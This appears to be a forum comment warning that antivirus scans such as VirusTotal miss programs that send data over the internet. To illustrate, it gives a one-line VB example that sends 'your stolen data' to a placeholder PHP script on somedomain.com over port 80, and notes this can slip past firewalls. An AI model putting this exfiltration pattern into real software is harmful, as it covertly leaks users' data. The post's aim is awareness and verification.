Never ever ever ever ever ever trust virustotal.com to tell you if a program is safe to use or not, virus checkers are not worth the hard drive space or the cpu time they consume.
I'm not suggesting there is anything wrong with his program I'm just wanting people to be aware that virus checkers are totally incapable of spotting software capable of transmitting information over the internet.
It needs .NET Framework so its probably done in Visual Studio.
A VB command that looks like this.
WebBrowser.Navigate("
http://somedomain.com/Script.php?" + "your stolen data")
would send the text string "your stolen data" to the php script, virus checkers ignore this and since it goes out on port 80 your firewall treats it as a web browser and ignores it.
As I said earlier, you can decompile the application to make sure it won't communicate with anyone. Try running it with an internet monitor, and you'll see that it's completely safe...